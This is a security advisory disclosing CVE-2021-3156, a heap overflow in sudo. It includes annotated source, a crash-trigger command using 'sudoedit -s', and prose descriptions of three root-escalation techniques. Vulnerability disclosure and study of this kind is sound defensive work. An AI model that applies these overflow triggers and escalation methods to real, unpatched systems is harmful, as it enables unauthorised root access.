Qualys Security Advisory

Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)


========================================================================
Contents
========================================================================

Summary
Analysis
Exploitation
Acknowledgments
Timeline


========================================================================
Summary
========================================================================

We discovered a heap-based buffer overflow in Sudo
(https://www.sudo.ws/). This vulnerability:

- is exploitable by any local user (normal users and system users,
  sudoers and non-sudoers), without authentication (i.e., the attacker
  does not need to know the user's password);

- was introduced in July 2011 (commit 8255ed69), and affects all legacy
  versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to
  1.9.5p1, in their default configuration.

We developed three different exploits for this vulnerability, and
obtained full root privileges on Ubuntu 20.04 (Sudo 1.8.31), Debian 10
(Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and
distributions are probably also exploitable.


========================================================================
Analysis
========================================================================

If Sudo is executed to run a command in "shell" mode (shell -c command):

- either through the -s option, which sets Sudo's MODE_SHELL flag;

- or through the -i option, which sets Sudo's MODE_SHELL and
  MODE_LOGIN_SHELL flags;

then, at the beginning of Sudo's main(), parse_args() rewrites argv
(lines 609-617), by concatenating all command-line arguments (lines
587-595) and by escaping all meta-characters with backslashes (lines
590-591):

------------------------------------------------------------------------
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572         char **av, *cmnd = NULL;
573         int ac = 1;
...
581             cmnd = dst = reallocarray(NULL, cmnd_size, 2);
...
587             for (av = argv; *av != NULL; av++) {
588                 for (src = *av; *src != '\0'; src++) {
589                     /* quote potential meta characters */
590                     if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591                         *dst++ = '\\';
592                     *dst++ = *src;
593                 }
594                 *dst++ = ' ';
595             }
...
600             ac += 2; /* -c cmnd */
...
603         av = reallocarray(NULL, ac + 1, sizeof(char *));
...
609         av[0] = (char *)user_details.shell; /* plugin may override shell */
610         if (cmnd != NULL) {
611             av[1] = "-c";
612             av[2] = cmnd;
613         }
614         av[ac] = NULL;
615
616         argv = av;
617         argc = ac;
618     }
------------------------------------------------------------------------

Later, in sudoers_policy_main(), set_cmnd() concatenates the
command-line arguments into a heap-based buffer "user_args" (lines
864-871) and unescapes the meta-characters (lines 866-867), "for sudoers
matching and logging purposes":

------------------------------------------------------------------------
 819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
 ...
 852             for (size = 0, av = NewArgv + 1; *av; av++)
 853                 size += strlen(*av) + 1;
 854             if (size == 0 || (user_args = malloc(size)) == NULL) {
 ...
 857             }
 858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
 ...
 864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
 865                     while (*from) {
 866                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
 867                             from++;
 868                         *to++ = *from++;
 869                     }
 870                     *to++ = ' ';
 871                 }
 ...
 884             }
 ...
 886     }
------------------------------------------------------------------------

Unfortunately, if a command-line argument ends with a single backslash
character, then:

- at line 866, "from[0]" is the backslash character, and "from[1]" is
  the argument's null terminator (i.e., not a space character);

- at line 867, "from" is incremented and points to the null terminator;

- at line 868, the null terminator is copied to the "user_args" buffer,
  and "from" is incremented again and points to the first character
  after the null terminator (i.e., out of the argument's bounds);

- the "while" loop at lines 865-869 reads and copies out-of-bounds
  characters to the "user_args" buffer.

In other words, set_cmnd() is vulnerable to a heap-based buffer
overflow, because the out-of-bounds characters that are copied to the
"user_args" buffer were not included in its size (calculated at lines
852-853).

In theory, however, no command-line argument can end with a single
backslash character: if MODE_SHELL or MODE_LOGIN_SHELL is set (line 858,
a necessary condition for reaching the vulnerable code), then MODE_SHELL
is set (line 571) and parse_args() already escaped all meta-characters,
including backslashes (i.e., it escaped every single backslash with a
second backslash).

In practice, however, the vulnerable code in set_cmnd() and the escape
code in parse_args() are surrounded by slightly different conditions:

------------------------------------------------------------------------
 819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
 ...
 858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
------------------------------------------------------------------------

versus:

------------------------------------------------------------------------
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
------------------------------------------------------------------------

Our question, then, is: can we set MODE_SHELL and either MODE_EDIT or
MODE_CHECK (to reach the vulnerable code) but not the default MODE_RUN
(to avoid the escape code)?

The answer, it seems, is no: if we set MODE_EDIT (-e option, line 361)
or MODE_CHECK (-l option, lines 423 and 519), then parse_args() removes
MODE_SHELL from the "valid_flags" (lines 363 and 424) and exits with an
error if we specify an invalid flag such as MODE_SHELL (lines 532-533):

------------------------------------------------------------------------
358                 case 'e':
...
361                     mode = MODE_EDIT;
362                     sudo_settings[ARG_SUDOEDIT].value = "true";
363                     valid_flags = MODE_NONINTERACTIVE;
364                     break;
...
416                 case 'l':
...
423                     mode = MODE_LIST;
424                     valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425                     break;
...
518     if (argc > 0 && mode == MODE_LIST)
519         mode = MODE_CHECK;
...
532     if ((flags & valid_flags) != flags)
533         usage(1);
------------------------------------------------------------------------

But we found a loophole: if we execute Sudo as "sudoedit" instead of
"sudo", then parse_args() automatically sets MODE_EDIT (line 270) but
does not reset "valid_flags", and the "valid_flags" include MODE_SHELL
by default (lines 127 and 249):

------------------------------------------------------------------------
127 #define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
249     int valid_flags = DEFAULT_VALID_FLAGS;
...
267     proglen = strlen(progname);
268     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269         progname = "sudoedit";
270         mode = MODE_EDIT;
271         sudo_settings[ARG_SUDOEDIT].value = "true";
272     }
------------------------------------------------------------------------

Consequently, if we execute "sudoedit -s", then we set both MODE_EDIT
and MODE_SHELL (but not MODE_RUN), we avoid the escape code, reach the
vulnerable code, and overflow the heap-based buffer "user_args" through
a command-line argument that ends with a single backslash character:

------------------------------------------------------------------------
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
------------------------------------------------------------------------

From an attacker's point of view, this buffer overflow is ideal:

- we control the size of the "user_args" buffer that we overflow (the
  size of our concatenated command-line arguments, at lines 852-854);

- we independently control the size and contents of the overflow itself
  (our last command-line argument is conveniently followed by our first
  environment variables, which are not included in the size calculation
  at lines 852-853);

- we can even write null bytes to the buffer that we overflow (every
  command-line argument or environment variable that ends with a single
  backslash writes a null byte to "user_args", at lines 866-868).

For example, on an amd64 Linux, the following command allocates a
24-byte "user_args" buffer (a 32-byte heap chunk) and overwrites the
next chunk's size field with "A=a\0B=b\0" (0x00623d4200613d41), its fd
field with "C=c\0D=d\0" (0x00643d4400633d43), and its bk field with
"E=e\0F=f\0" (0x00663d4600653d45):

------------------------------------------------------------------------
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
------------------------------------------------------------------------

--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk


========================================================================
Exploitation
========================================================================

Because Sudo calls localization functions at the very beginning of its
main() function:

------------------------------------------------------------------------
 154     setlocale(LC_ALL, "");
 155     bindtextdomain(PACKAGE_NAME, LOCALEDIR);
 156     textdomain(PACKAGE_NAME);
------------------------------------------------------------------------

and passes translation strings (through the gettext() function and _()
macro) to format-string functions such as:

------------------------------------------------------------------------
 301             sudo_printf(SUDO_CONV_ERROR_MSG, _("%s is not in the sudoers "
 302                 "file.  This incident will be reported.\n"), user_name);
------------------------------------------------------------------------

we initially wanted to reuse halfdog's fascinating technique from
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ and
transform Sudo's heap-based buffer overflow into a format-string
exploit. More precisely:

- at line 154, in setlocale(), we malloc()ate and free() several LC
  environment variables (LC_CTYPE, LC_MESSAGES, LC_TIME, etc), thereby
  creating small holes at the very beginning of Sudo's heap (free fast
  or tcache chunks);

- at line 155, bindtextdomain() malloc()ates a struct binding, which
  contains a dirname pointer to the name of a directory that contains
  ".mo" catalog files and hence translation strings;

- in set_cmnd(), we malloc()ate the "user_args" buffer into one of the
  holes at the beginning of Sudo's heap, and overflow this buffer, thus
  overwriting the struct binding's dirname pointer;

- at line 301 (for example), gettext() (through the _() macro) loads our
  own translation string from the overwritten dirname -- in other words,
  we control the format string that is passed to sudo_printf().

To implement this initial technique, we wrote a rudimentary brute-forcer
that executes Sudo inside gdb, overflows the "user_args" buffer, and
randomly selects the following parameters:

- the LC environment variables that we pass to Sudo, and their length
  (we use the "C.UTF-8" locale and append a random "@modifier");

- the size of the "user_args" buffer that we overflow;

- the size of the overflow itself;

- whether we go through Sudo's authentication code (-A or -n option) or
  not (-u #realuid option).

Unfortunately, this initial technique failed; our brute-forcer was able
to overwrite the struct binding's dirname pointer:

------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.

0x00007f6e0dde1ea9 in __dcigettext (domainname=domainname@entry=0x7f6e0d9cc020 "sudoers", msgid1=msgid1@entry=0x7f6e0d9cc014 "user NOT in sudoers", msgid2=msgid2@entry=0x0, plural=plural@entry=0, n=n@entry=0, category=5) at dcigettext.c:619

=> 0x7f6e0dde1ea9 <__dcigettext+1257>:  cmpb   $0x2f,(%rax)

rax            0x4141414141414141  4702111234474983745
------------------------------------------------------------------------

but LC_MESSAGES was always the default "C" locale (not "C.UTF-8"), which
disables the string translation in gettext() (i.e., gettext() returns
the original format string, not our own).

Fortunately, however, our brute-forcer produced dozens of unique Sudo
crashes and gdb backtraces; among these, three caught our attention, and
we eventually exploited all three.


========================================================================
1/ struct sudo_hook_entry overwrite
========================================================================

The first crash that caught our attention is:

------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.

0x000056291a25d502 in process_hooks_getenv (name=name@entry=0x7f4a6d7dc046 "SYSTEMD_BYPASS_USERDB", value=value@entry=0x7ffc595cc240) at ../../src/hooks.c:108

=> 0x56291a25d502 <process_hooks_getenv+82>:    callq  *0x8(%rbx)

rbx            0x56291c1df2b0      94734565372592

0x56291c1df2b0: 0x4141414141414141      0x4141414141414141
------------------------------------------------------------------------

Incredibly, Sudo's function process_hooks_getenv() crashed (at line 108)
because we directly overwrote a function pointer, getenv_fn (a member of
a heap-based struct sudo_hook_entry):

------------------------------------------------------------------------
 99 int
100 process_hooks_getenv(const char *name, char **value)
101 {
102     struct sudo_hook_entry *hook;
103     char *val = NULL;
...
107     SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {
108         rc = hook->u.getenv_fn(name, &val, hook->closure);
------------------------------------------------------------------------

To exploit this struct sudo_hook_entry overwrite, we note that:

- the call to getenv_fn (at line 108) is compatible with a call to
  execve():

  . name ("SYSTEMD_BYPASS_USERDB") is compatible with execve()'s
    pathname argument;

  . &val (a pointer to a NULL pointer) is compatible with execve()'s
    argv;

  . hook->closure (a NULL pointer) is compatible with execve()'s envp;

- we can defeat ASLR by partially overwriting the function pointer
  getenv_fn (which points to the function sudoers_hook_getenv() in the
  shared library sudoers.so); and luckily, the beginning of sudoers.so
  contains a call to execve() (or execv()):

------------------------------------------------------------------------
0000000000008a00 <execv@plt>:
    8a00:       f3 0f 1e fa             endbr64
    8a04:       f2 ff 25 65 55 05 00    bnd jmpq *0x55565(%rip)        # 5df70 <execv@GLIBC_2.2.5>
    8a0b:       0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
------------------------------------------------------------------------

- we can read /dev/kmsg (dmesg) as an unprivileged user on Ubuntu, and
  therefore obtain detailed information about our Sudo crashes.

Consequently, we adopt the following strategy:

- First, we brute-force the exploit parameters until we overwrite
  getenv_fn with an invalid userland address (above 0x800000000000) --
  until we observe a general protection fault at getenv_fn's call site:

------------------------------------------------------------------------
sudoedit[15904] general protection fault ip:55e9b645b502 sp:7ffe53d6fa40 error:0 in sudo[55e9b644e000+1a000]
                                                     ^^^
------------------------------------------------------------------------

- Next, we reuse these exploit parameters but overwrite getenv_fn with a
  regular pattern of valid (below 0x800000000000) but unmapped userland
  addresses -- in this example, getenv_fn is the 22nd pointer that we
  overwrite (0x32 is '2', a part of our pattern):

------------------------------------------------------------------------
sudoedit[15906]: segfault at 323230303030 ip 0000323230303030 sp 00007ffeeabf2868 error 14 in sudo[55b036c16000+5000]
                             ^^^^
------------------------------------------------------------------------

- Last, we partially overwrite getenv_fn (we overwrite its two least
  significant bytes with 0x8a00, execv()'s offset in sudoers.so, and its
  third byte with 0x00, user_args's null terminator in set_cmnd()) until
  we defeat ASLR -- we have a good chance of overwriting getenv_fn with
  the address of execv() after 2^(3*8-12) = 2^12 = 4096 tries, thus
  executing our own binary, named "SYSTEMD_BYPASS_USERDB", as root.

We successfully tested this first exploit on Ubuntu 20.04.


========================================================================
2/ struct service_user overwrite
========================================================================

The second crash that caught our attention is:

------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905
------------------------------------------------------------------------

The glibc's function nss_load_library() crashed (at line 344) because we
overwrote the pointer "library", a member of a heap-based struct
service_user:

------------------------------------------------------------------------
327 static int
328 nss_load_library (service_user *ni)
329 {
330   if (ni->library == NULL)
331     {
...
338       ni->library = nss_new_service (service_table ?: &default_table,
339                                      ni->name);
...
342     }
343
344   if (ni->library->lib_handle == NULL)
345     {
346       /* Load the shared library.  */
347       size_t shlen = (7 + strlen (ni->name) + 3
348                       + strlen (__nss_shlib_revision) + 1);
349       int saved_errno = errno;
350       char shlib_name[shlen];
351
352       /* Construct shared object name.  */
353       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
354                                               "libnss_"),
355                                     ni->name),
356                           ".so"),
357                 __nss_shlib_revision);
358
359       ni->library->lib_handle = __libc_dlopen (shlib_name);
------------------------------------------------------------------------

We can easily transform this struct service_user overwrite into an
arbitrary code execution:

- we overwrite ni->library with a NULL pointer, to enter the block at
  lines 330-342, avoid the crash at line 344, and enter the block at
  lines 344-359;

- we overwrite ni->name (an array of characters, initially "systemd")
  with "X/X";

- lines 353-357 construct the name of a shared library "libnss_X/X.so.2"
  (instead of "libnss_systemd.so.2");

- at line 359, we load our own shared library "libnss_X/X.so.2" from the
  current working directory and execute our _init() constructor as root.

We successfully tested this second exploit on Ubuntu 20.04, Debian 10,
and Fedora 33.


========================================================================
3/ def_timestampdir overwrite
========================================================================

Our third exploit is not derived from one of Sudo's crashes, but from a
casual observation: during our brute-force, Sudo created dozens of new
directories in our current working directory (AAAAAA, AAAAAAAAA, etc).
Each of these directories belongs to root and contains only one small
file, named after our own user: Sudo's timestamp file -- we evidently
overwrote def_timestampdir, the name of Sudo's timestamp directory.

If we overwrite def_timestampdir with the name of a directory that does
not already exist, then we can race against Sudo's ts_mkdirs(), create a
symlink to an arbitrary file, and:

3a/ either chown() this arbitrary file to user root and group root;

3b/ or open (or create) this arbitrary file as root, and write a struct
timestamp_entry to it.

We were unable to transform 3a/ into full root privileges (for example,
if we chown() our own SUID binary to root, then the kernel automatically
removes our binary's SUID bit). If you, dear reader, find a solution to
this problem, please post it to the public oss-security mailing list!

Eventually, we were able to transform 3b/ into full root privileges, but
we initially faced two problems:

- Sudo's timestamp_open() deletes our arbitrary symlink if the file it
  points to is older than boot time. We were able to solve this first
  problem by creating a very old timestamp file (from the Unix epoch),
  by waiting until timestamp_open() deletes it, and by racing against
  timestamp_open() to create our final, arbitrary symlink.

- We do not control the contents of the struct timestamp_entry that is
  written to the arbitrary file. To the best of our knowledge, we only
  control three bytes (a process ID or a struct timespec), and we were
  unable to transform this three-byte write into full root privileges.
  If you, dear reader, find a solution to this problem, please post it
  to the public oss-security mailing list!

However, we were able to circumvent this second problem by abusing a
minor bug in Sudo's timestamp_lock(). If we win the two races against
ts_mkdirs() and timestamp_open(), and if our arbitrary symlink points to
/etc/passwd, then this file is opened as root, and:

------------------------------------------------------------------------
 65 struct timestamp_entry {
 66     unsigned short version;     /* version number */
 67     unsigned short size;        /* entry size */
 68     unsigned short type;        /* TS_GLOBAL, TS_TTY, TS_PPID */
 ..
 78 };
------------------------------------------------------------------------
 305 static ssize_t
 306 ts_write(int fd, const char *fname, struct timestamp_entry *entry, off_t offset)
 307 {
 ...
 318         nwritten = pwrite(fd, entry, entry->size, offset);
 ...
 350 }
------------------------------------------------------------------------
 619 bool
 620 timestamp_lock(void *vcookie, struct passwd *pw)
 621 {
 622     struct ts_cookie *cookie = vcookie;
 623     struct timestamp_entry entry;
 ...
 644     nread = read(cookie->fd, &entry, sizeof(entry));
 645     if (nread == 0) {
 ...
 652     } else if (entry.type != TS_LOCKEXCL) {
 ...
 657         if (ts_write(cookie->fd, cookie->fname, &entry, 0) == -1)
------------------------------------------------------------------------

- at line 644, the first 0x38 bytes of /etc/passwd ("root:x:0:0:...")
  are read into a stack-based struct timestamp_entry, entry;

- at line 652, entry.type is 0x783a (":x"), not TS_LOCKEXCL;

- at lines 657 and 318, entry->size bytes from the stack-based entry are
  written to /etc/passwd, but entry->size is actually 0x746f ("ot"), not
  sizeof(struct timestamp_entry).

As a result, we write the entire contents of Sudo's stack to /etc/passwd
(including our command-line arguments and our environment variables): we
inject an arbitrary user into /etc/passwd and therefore obtain full root
privileges. We successfully tested this third exploit on Ubuntu 20.04.

Note: this minor bug in timestamp_lock() was fixed in January 2020 by
commit 586b418a, but this fix was not backported to legacy versions.


========================================================================
Acknowledgments
========================================================================

We thank Todd C. Miller for his professionalism, quick response, and
meticulous attention to every detail in our report. We also thank the
members of distros@openwall.


========================================================================
Timeline
========================================================================

2021-01-13: Advisory sent to Todd.Miller@sudo.

2021-01-19: Advisory and patches sent to distros@openwall.

2021-01-26: Coordinated Release Date (6:00 PM UTC).


[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>



This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.